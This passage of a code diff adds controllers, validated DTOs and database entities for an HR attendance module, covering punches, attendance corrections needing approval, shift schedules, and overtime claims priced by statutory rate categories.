{ employeeId: actor.employeeId ?? "", status, page, limit },
|
||||
actor,
|
||||
);
|
||||
}
|
||||
|
||||
@Get("awaiting-me")
|
||||
@HrStaff(HR_PERMS.attendance.approveRegularization)
|
||||
@ApiOperation({ summary: "Corrections waiting on my decision" })
|
||||
awaitingMe(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.regularizations.findAwaitingMe(actorFrom(user), page, limit);
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.attendance.viewAll)
|
||||
@ApiOperation({ summary: "All corrections" })
|
||||
@ApiQuery({ name: "employeeId", required: false })
|
||||
@ApiQuery({ name: "status", required: false, enum: ERegularizationStatus })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("employeeId") employeeId?: string,
|
||||
@Query("status") status?: ERegularizationStatus,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.regularizations.findAll(
|
||||
{ employeeId, status, page, limit },
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Patch(":id/approve")
|
||||
@HrStaff(HR_PERMS.attendance.approveRegularization)
|
||||
@ApiOperation({
|
||||
summary: "Approve and apply the correction",
|
||||
description:
|
||||
"The record is updated in the same transaction, and the values being " +
|
||||
"replaced are copied onto the request first — so what it said before " +
|
||||
"stays answerable.",
|
||||
})
|
||||
approve(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: DecideDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.regularizations.approve(id, dto.note, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/reject")
|
||||
@HrStaff(HR_PERMS.attendance.approveRegularization)
|
||||
@ApiOperation({ summary: "Reject, with a reason" })
|
||||
reject(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: RejectDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.regularizations.reject(id, dto.note, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/withdraw")
|
||||
@HrStaff(HR_PERMS.attendance.regularize)
|
||||
@ApiOperation({ summary: "Withdraw before a decision" })
|
||||
withdraw(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.regularizations.withdraw(id, actorFrom(user));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Delete,
|
||||
Get,
|
||||
HttpCode,
|
||||
HttpStatus,
|
||||
Param,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
} from "@nestjs/common";
|
||||
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { WorkSchedulesService } from "../services/work-schedules.service";
|
||||
import {
|
||||
AssignScheduleDto,
|
||||
CreateWorkScheduleDto,
|
||||
UpdateWorkScheduleDto,
|
||||
} from "../dto/work-schedule.dto";
|
||||
|
||||
@ApiTags("work-schedules")
|
||||
@ApiBearerAuth()
|
||||
@Controller("work-schedules")
|
||||
@HrStaff([HR_PERMS.attendance.manageWorkSchedule, HR_PERMS.attendance.viewOwn])
|
||||
export class WorkSchedulesController {
|
||||
constructor(private readonly schedules: WorkSchedulesService) {}
|
||||
|
||||
@Get()
|
||||
// Readable by anyone who can see their own attendance: the schedule is what
|
||||
// decides whether they were late, so hiding it makes the verdict arbitrary.
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({ summary: "Shift patterns" })
|
||||
findAll(@CurrentUser() user: TCurrentUser) {
|
||||
return this.schedules.findAll(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({ summary: "One shift pattern" })
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.schedules.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
|
||||
@ApiOperation({ summary: "Add a shift pattern" })
|
||||
create(@Body() dto: CreateWorkScheduleDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.schedules.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id")
|
||||
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
|
||||
@ApiOperation({ summary: "Change a shift pattern" })
|
||||
update(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateWorkScheduleDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.schedules.update(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Delete(":id")
|
||||
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
|
||||
@HttpCode(HttpStatus.NO_CONTENT)
|
||||
@ApiOperation({
|
||||
summary: "Retire a shift pattern",
|
||||
description: "Refused while anyone is still assigned to it.",
|
||||
})
|
||||
remove(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.schedules.remove(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("assign")
|
||||
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
|
||||
@ApiOperation({
|
||||
summary: "Put an employee on a shift pattern",
|
||||
description:
|
||||
"Closes their current assignment the day before, so attendance already " +
|
||||
"recorded keeps being judged against the schedule that actually applied.",
|
||||
})
|
||||
assign(@Body() dto: AssignScheduleDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.schedules.assign(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("assignments/:employeeId")
|
||||
@HrStaff(HR_PERMS.attendance.viewAll)
|
||||
@ApiOperation({ summary: "An employee's shift history" })
|
||||
history(@Param("employeeId", ParseUUIDPipe) employeeId: string) {
|
||||
return this.schedules.history(employeeId);
|
||||
}
|
||||
}
|
||||
78
apps/edr-hr-api/src/modules/attendance/dto/attendance.dto.ts
Normal file
78
apps/edr-hr-api/src/modules/attendance/dto/attendance.dto.ts
Normal file
@@ -0,0 +1,78 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import {
|
||||
IsDateString,
|
||||
IsEnum,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
MaxLength,
|
||||
} from "class-validator";
|
||||
|
||||
import {
|
||||
EAttendanceSource,
|
||||
EAttendanceStatus,
|
||||
} from "../entities/attendance-record.entity";
|
||||
|
||||
export class PunchDto {
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description: "Omit to punch for yourself. Supplying it needs the record permission.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
employeeId?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
description: "ISO instant. Defaults to now — supply it only for a device sync.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
at?: string;
|
||||
|
||||
@ApiPropertyOptional({ enum: EAttendanceSource, default: EAttendanceSource.WEB })
|
||||
@IsOptional()
|
||||
@IsEnum(EAttendanceSource)
|
||||
source?: EAttendanceSource;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 512 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
notes?: string;
|
||||
}
|
||||
|
||||
export class RecordAttendanceDto {
|
||||
@ApiProperty({ format: "uuid" })
|
||||
@IsUUID()
|
||||
employeeId!: string;
|
||||
|
||||
@ApiProperty({ format: "date" })
|
||||
@IsDateString()
|
||||
workDate!: string;
|
||||
|
||||
@ApiPropertyOptional({ description: "ISO instant." })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
checkIn?: string;
|
||||
|
||||
@ApiPropertyOptional({ description: "ISO instant." })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
checkOut?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
enum: EAttendanceStatus,
|
||||
description:
|
||||
"Override the derived status. ON_LEAVE is refused unless approved leave " +
|
||||
"actually covers the date.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsEnum(EAttendanceStatus)
|
||||
status?: EAttendanceStatus;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 512 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
notes?: string;
|
||||
}
|
||||
70
apps/edr-hr-api/src/modules/attendance/dto/overtime.dto.ts
Normal file
70
apps/edr-hr-api/src/modules/attendance/dto/overtime.dto.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import {
|
||||
IsDateString,
|
||||
IsNumberString,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
MaxLength,
|
||||
} from "class-validator";
|
||||
|
||||
export class CreateOvertimeDto {
|
||||
@ApiPropertyOptional({ format: "uuid", description: "Omit to claim for yourself." })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
employeeId?: string;
|
||||
|
||||
@ApiProperty({ description: "ISO instant the extra work began." })
|
||||
@IsDateString()
|
||||
startedAt!: string;
|
||||
|
||||
@ApiProperty({ description: "ISO instant it ended." })
|
||||
@IsDateString()
|
||||
endedAt!: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
format: "date",
|
||||
description:
|
||||
"The day the work belongs to. Defaults to the day it began, which is what " +
|
||||
"night work should use — a shift starting 22:00 Monday is Monday's overtime.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
workDate?: string;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 512 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
reason?: string;
|
||||
}
|
||||
|
||||
export class UpdateOvertimeRateDto {
|
||||
@ApiPropertyOptional({
|
||||
example: "2.00",
|
||||
description: "Cannot be set below the statutory floor for the category.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsNumberString()
|
||||
multiplier?: string;
|
||||
|
||||
@ApiPropertyOptional({ example: "2.00", nullable: true })
|
||||
@IsOptional()
|
||||
@IsNumberString()
|
||||
maxHoursPerDay?: string | null;
|
||||
}
|
||||
|
||||
export class DecideDto {
|
||||
@ApiPropertyOptional({ maxLength: 512 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
note?: string;
|
||||
}
|
||||
|
||||
export class RejectDto {
|
||||
@ApiProperty({ maxLength: 512, description: "Required." })
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
note!: string;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import {
|
||||
IsDateString,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
MaxLength,
|
||||
} from "class-validator";
|
||||
|
||||
export class CreateRegularizationDto {
|
||||
@ApiPropertyOptional({ format: "uuid", description: "Omit to file for yourself." })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
employeeId?: string;
|
||||
|
||||
@ApiProperty({ format: "date", description: "The day being corrected." })
|
||||
@IsDateString()
|
||||
workDate!: string;
|
||||
|
||||
@ApiPropertyOptional({ description: "ISO instant. Omit to leave the recorded one." })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
requestedCheckIn?: string;
|
||||
|
||||
@ApiPropertyOptional({ description: "ISO instant. Omit to leave the recorded one." })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
requestedCheckOut?: string;
|
||||
|
||||
@ApiProperty({
|
||||
maxLength: 512,
|
||||
description:
|
||||
"Required — a correction with no explanation is not reviewable, and this " +
|
||||
"is the record an approver decides on.",
|
||||
})
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
reason!: string;
|
||||
}
|
||||
138
apps/edr-hr-api/src/modules/attendance/dto/work-schedule.dto.ts
Normal file
138
apps/edr-hr-api/src/modules/attendance/dto/work-schedule.dto.ts
Normal file
@@ -0,0 +1,138 @@
|
||||
import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
ArrayMaxSize,
|
||||
IsArray,
|
||||
IsBoolean,
|
||||
IsDateString,
|
||||
IsInt,
|
||||
IsNotEmpty,
|
||||
IsObject,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
Matches,
|
||||
Max,
|
||||
MaxLength,
|
||||
Min,
|
||||
ValidateNested,
|
||||
} from "class-validator";
|
||||
|
||||
import { LocalizedTextDto } from "../../leave/dto/leave-type.dto";
|
||||
|
||||
/** `HH:MM` or `HH:MM:SS`, 24-hour. */
|
||||
const TIME = /^([01]\d|2[0-3]):[0-5]\d(:[0-5]\d)?$/;
|
||||
|
||||
export class CreateWorkScheduleDto {
|
||||
@ApiProperty({ maxLength: 32, example: "STANDARD" })
|
||||
@IsString()
|
||||
@IsNotEmpty()
|
||||
@MaxLength(32)
|
||||
code!: string;
|
||||
|
||||
@ApiProperty({ type: LocalizedTextDto })
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
name!: LocalizedTextDto;
|
||||
|
||||
@ApiPropertyOptional({ example: "08:30", default: "08:30" })
|
||||
@IsOptional()
|
||||
@Matches(TIME, { message: "startTime must be HH:MM or HH:MM:SS" })
|
||||
startTime?: string;
|
||||
|
||||
@ApiPropertyOptional({ example: "17:30", default: "17:30" })
|
||||
@IsOptional()
|
||||
@Matches(TIME, { message: "endTime must be HH:MM or HH:MM:SS" })
|
||||
endTime?: string;
|
||||
|
||||
@ApiPropertyOptional({ default: 60, minimum: 0, maximum: 480 })
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(480)
|
||||
breakMinutes?: number;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: 10,
|
||||
description: "Arrive within this many minutes and nothing is recorded.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(240)
|
||||
gracePeriodMinutes?: number;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
type: [Number],
|
||||
example: [1, 2, 3, 4, 5],
|
||||
description:
|
||||
"Days this shift works, 0 = Sunday. Omit to follow the organisation's " +
|
||||
"working week from leave settings.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsArray()
|
||||
@ArrayMaxSize(7)
|
||||
@IsInt({ each: true })
|
||||
@Min(0, { each: true })
|
||||
@Max(6, { each: true })
|
||||
workingDays?: number[];
|
||||
|
||||
@ApiPropertyOptional({ default: 420, description: "7 hours." })
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(1440)
|
||||
minMinutesFullDay?: number;
|
||||
|
||||
@ApiPropertyOptional({ default: 210 })
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(1440)
|
||||
minMinutesHalfDay?: number;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description: "A night shift ending the following morning.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
crossesMidnight?: boolean;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description:
|
||||
"Applies to anyone with no explicit assignment. Setting it moves the " +
|
||||
"default off whichever schedule currently holds it.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isDefault?: boolean;
|
||||
|
||||
@ApiPropertyOptional({ default: true })
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isActive?: boolean;
|
||||
}
|
||||
|
||||
export class UpdateWorkScheduleDto extends PartialType(CreateWorkScheduleDto) {}
|
||||
|
||||
export class AssignScheduleDto {
|
||||
@ApiProperty({ format: "uuid", description: "iam.employees.id" })
|
||||
@IsUUID()
|
||||
employeeId!: string;
|
||||
|
||||
@ApiProperty({ format: "uuid" })
|
||||
@IsUUID()
|
||||
workScheduleId!: string;
|
||||
|
||||
@ApiProperty({
|
||||
format: "date",
|
||||
description:
|
||||
"The current assignment is closed the day before this, so history stays " +
|
||||
"intact.",
|
||||
})
|
||||
@IsDateString()
|
||||
effectiveFrom!: string;
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Column,
|
||||
Entity,
|
||||
Index,
|
||||
JoinColumn,
|
||||
ManyToOne,
|
||||
PrimaryGeneratedColumn,
|
||||
} from "typeorm";
|
||||
|
||||
import { WorkSchedule } from "./work-schedule.entity";
|
||||
|
||||
export enum EAttendanceStatus {
|
||||
PRESENT = "PRESENT",
|
||||
LATE = "LATE",
|
||||
/** Expected in, never arrived, and no leave explains it. */
|
||||
ABSENT = "ABSENT",
|
||||
HALF_DAY = "HALF_DAY",
|
||||
/** Covered by an approved leave request — `leaveRequestId` says which. */
|
||||
ON_LEAVE = "ON_LEAVE",
|
||||
HOLIDAY = "HOLIDAY",
|
||||
/** A weekend, or a day this shift does not work. */
|
||||
REST_DAY = "REST_DAY",
|
||||
}
|
||||
|
||||
export enum EAttendanceSource {
|
||||
WEB = "WEB",
|
||||
MOBILE = "MOBILE",
|
||||
BIOMETRIC = "BIOMETRIC",
|
||||
/** Entered by hand — an administrator filling a gap. */
|
||||
MANUAL = "MANUAL",
|
||||
IMPORT = "IMPORT",
|
||||
/** Derived, not observed: rest days, holidays and leave days. */
|
||||
SYSTEM = "SYSTEM",
|
||||
}
|
||||
|
||||
/**
|
||||
* One employee, one day.
|
||||
*
|
||||
* `workDate` is a DATE and not a timestamp on purpose. A night shift clocking
|
||||
* out at 02:00 belongs to the day it began; keying on the punch instant would
|
||||
* file it under the following day and split one shift across two rows.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "attendance_records" })
|
||||
@Index("idx_attendance_org_date", ["organizationId", "workDate"])
|
||||
export class AttendanceRecord extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "employee_id" })
|
||||
employeeId!: string;
|
||||
|
||||
@Column({ type: "date", name: "work_date" })
|
||||
workDate!: string;
|
||||
|
||||
/** The schedule in force on this date — frozen, not looked up on read. */
|
||||
@Column({ type: "uuid", name: "work_schedule_id", nullable: true })
|
||||
workScheduleId?: string | null;
|
||||
|
||||
@ManyToOne(() => WorkSchedule)
|
||||
@JoinColumn({ name: "work_schedule_id" })
|
||||
workSchedule?: WorkSchedule;
|
||||
|
||||
@Column({ type: "timestamptz", name: "check_in", nullable: true })
|
||||
checkIn?: Date | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "check_out", nullable: true })
|
||||
checkOut?: Date | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "status",
|
||||
default: EAttendanceStatus.ABSENT,
|
||||
})
|
||||
status!: EAttendanceStatus;
|
||||
|
||||
/** Between the punches, less the scheduled break. */
|
||||
@Column({ type: "integer", name: "worked_minutes", default: 0 })
|
||||
workedMinutes!: number;
|
||||
|
||||
/** Past the start time AND past the grace period. Zero when within grace. */
|
||||
@Column({ type: "integer", name: "late_minutes", default: 0 })
|
||||
lateMinutes!: number;
|
||||
|
||||
@Column({ type: "integer", name: "early_leave_minutes", default: 0 })
|
||||
earlyLeaveMinutes!: number;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "source",
|
||||
default: EAttendanceSource.WEB,
|
||||
})
|
||||
source!: EAttendanceSource;
|
||||
|
||||
/** Set when ON_LEAVE — which approved request excuses this day. */
|
||||
@Column({ type: "uuid", name: "leave_request_id", nullable: true })
|
||||
leaveRequestId?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 512, name: "notes", nullable: true })
|
||||
notes?: string | null;
|
||||
|
||||
/** True once a regularization has corrected the punches. */
|
||||
@Column({ type: "boolean", name: "is_regularized", default: false })
|
||||
isRegularized!: boolean;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm";
|
||||
|
||||
import { EAttendanceStatus } from "./attendance-record.entity";
|
||||
|
||||
export enum ERegularizationStatus {
|
||||
SUBMITTED = "SUBMITTED",
|
||||
APPROVED = "APPROVED",
|
||||
REJECTED = "REJECTED",
|
||||
WITHDRAWN = "WITHDRAWN",
|
||||
}
|
||||
|
||||
/**
|
||||
* A request to correct a punch — forgotten, mis-clocked, or a device that was
|
||||
* down.
|
||||
*
|
||||
* The correction is applied only on approval. The values that were there before
|
||||
* are copied onto this row at that moment, so "what did the record say before
|
||||
* somebody changed it?" is answerable from the request itself, without a
|
||||
* separate audit table.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "attendance_regularizations" })
|
||||
@Index("idx_regularizations_employee", ["employeeId", "workDate"])
|
||||
export class AttendanceRegularization extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "employee_id" })
|
||||
employeeId!: string;
|
||||
|
||||
/** Null when no record exists yet — a day that was never punched at all. */
|
||||
@Column({ type: "uuid", name: "attendance_record_id", nullable: true })
|
||||
attendanceRecordId?: string | null;
|
||||
|
||||
@Column({ type: "date", name: "work_date" })
|
||||
workDate!: string;
|
||||
|
||||
@Column({ type: "timestamptz", name: "requested_check_in", nullable: true })
|
||||
requestedCheckIn?: Date | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "requested_check_out", nullable: true })
|
||||
requestedCheckOut?: Date | null;
|
||||
|
||||
/** Captured at approval, not at submission — the record may change meanwhile. */
|
||||
@Column({ type: "timestamptz", name: "original_check_in", nullable: true })
|
||||
originalCheckIn?: Date | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "original_check_out", nullable: true })
|
||||
originalCheckOut?: Date | null;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "original_status",
|
||||
nullable: true,
|
||||
})
|
||||
originalStatus?: EAttendanceStatus | null;
|
||||
|
||||
@Column({ type: "varchar", length: 512, name: "reason" })
|
||||
reason!: string;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "status",
|
||||
default: ERegularizationStatus.SUBMITTED,
|
||||
})
|
||||
status!: ERegularizationStatus;
|
||||
|
||||
@Column({ type: "uuid", name: "approver_employee_id", nullable: true })
|
||||
approverEmployeeId?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "decided_by_employee_id", nullable: true })
|
||||
decidedByEmployeeId?: string | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "decided_at", nullable: true })
|
||||
decidedAt?: Date | null;
|
||||
|
||||
@Column({ type: "varchar", length: 512, name: "decision_note", nullable: true })
|
||||
decisionNote?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm";
|
||||
|
||||
/**
|
||||
* Which premium applies. Derived from when the work happened, never chosen by
|
||||
* the person claiming it — the category decides the money.
|
||||
*/
|
||||
export enum EOvertimeCategory {
|
||||
/** Ordinary overtime, 06:00–22:00 on a normal working day. */
|
||||
DAY = "DAY",
|
||||
/** Night work, 22:00–06:00. */
|
||||
NIGHT = "NIGHT",
|
||||
/** The weekly rest day. */
|
||||
REST_DAY = "REST_DAY",
|
||||
PUBLIC_HOLIDAY = "PUBLIC_HOLIDAY",
|
||||
}
|
||||
|
||||
export enum EOvertimeStatus {
|
||||
SUBMITTED = "SUBMITTED",
|
||||
APPROVED = "APPROVED",
|
||||
REJECTED = "REJECTED",
|
||||
WITHDRAWN = "WITHDRAWN",
|
||||
}
|
||||
|
||||
/**
|
||||
* The premium paid for each category, per organization.
|
||||
*
|
||||
* Proclamation 1156/2019 Art. 68 sets the statutory floor — 1.5× ordinary,
|
||||
* 1.75× night, 2× on the weekly rest day, 2.5× on a public holiday. An employer
|
||||
* may pay more, never less, which is why these are rows an employer can raise
|
||||
* rather than constants only a developer can change.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "overtime_rates" })
|
||||
@Index("idx_overtime_rates_organization_id", ["organizationId"])
|
||||
export class OvertimeRate extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "varchar", length: 24, name: "category" })
|
||||
category!: EOvertimeCategory;
|
||||
|
||||
@Column({ type: "numeric", precision: 5, scale: 2, name: "multiplier" })
|
||||
multiplier!: string;
|
||||
|
||||
/** Art. 67 caps ordinary overtime at two hours a day. Null = uncapped. */
|
||||
@Column({
|
||||
type: "numeric",
|
||||
precision: 5,
|
||||
scale: 2,
|
||||
name: "max_hours_per_day",
|
||||
nullable: true,
|
||||
})
|
||||
maxHoursPerDay?: string | null;
|
||||
|
||||
@Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true })
|
||||
statuteReference?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
|
||||
/**
|
||||
* A claim for extra hours.
|
||||
*
|
||||
* `category` and `multiplier` are both frozen on the row. The category is
|
||||
* derived at submission from when the work happened; the multiplier is copied
|
||||
* from the rate table at that moment. A rate rise next year must not silently
|
||||
* reprice work already done — and, worse, already paid.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "overtime_requests" })
|
||||
@Index("idx_overtime_requests_employee", ["employeeId", "workDate"])
|
||||
export class OvertimeRequest extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "employee_id" })
|
||||
employeeId!: string;
|
||||
|
||||
/** The day the work belongs to — night work belongs to the day it began. */
|
||||
@Column({ type: "date", name: "work_date" })
|
||||
workDate!: string;
|
||||
|
||||
@Column({ type: "timestamptz", name: "started_at" })
|
||||
startedAt!: Date;
|
||||
|
||||
@Column({ type: "timestamptz", name: "ended_at" })
|
||||
endedAt!: Date;
|
||||
|
||||
@Column({ type: "numeric", precision: 6, scale: 2, name: "hours" })
|
||||
hours!: string;
|
||||
|
||||
@Column({ type: "varchar", length: 24, name: "category" })
|
||||
category!: EOvertimeCategory;
|
||||
|
||||
@Column({ type: "numeric", precision: 5, scale: 2, name: "multiplier" })
|
||||
multiplier!: string;
|
||||
|
||||
@Column({
|
||||
type: "varchar",
|
||||
length: 16,
|
||||
name: "status",
|
||||
default: EOvertimeStatus.SUBMITTED,
|
||||
})
|
||||
status!: EOvertimeStatus;
|
||||
|
||||
@Column({ type: "varchar", length: 512, name: "reason", nullable: true })
|
||||
reason?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "approver_employee_id", nullable: true })
|
||||
approverEmployeeId?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "decided_by_employee_id", nullable: true })
|
||||
decidedByEmployeeId?: string | null;
|
||||
|
||||
@Column({ type: "timestamptz", name: "decided_at", nullable: true })
|
||||
decidedAt?: Date | null;
|
||||
|
||||
@Column({ type: "varchar", length: 512, name: "decision_note", nullable: true })
|
||||
decisionNote?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import {
|
||||
Column,
|
||||
Entity,
|
||||
Index,
|
||||
JoinColumn,
|
||||
ManyToOne,
|
||||
PrimaryGeneratedColumn,
|
||||
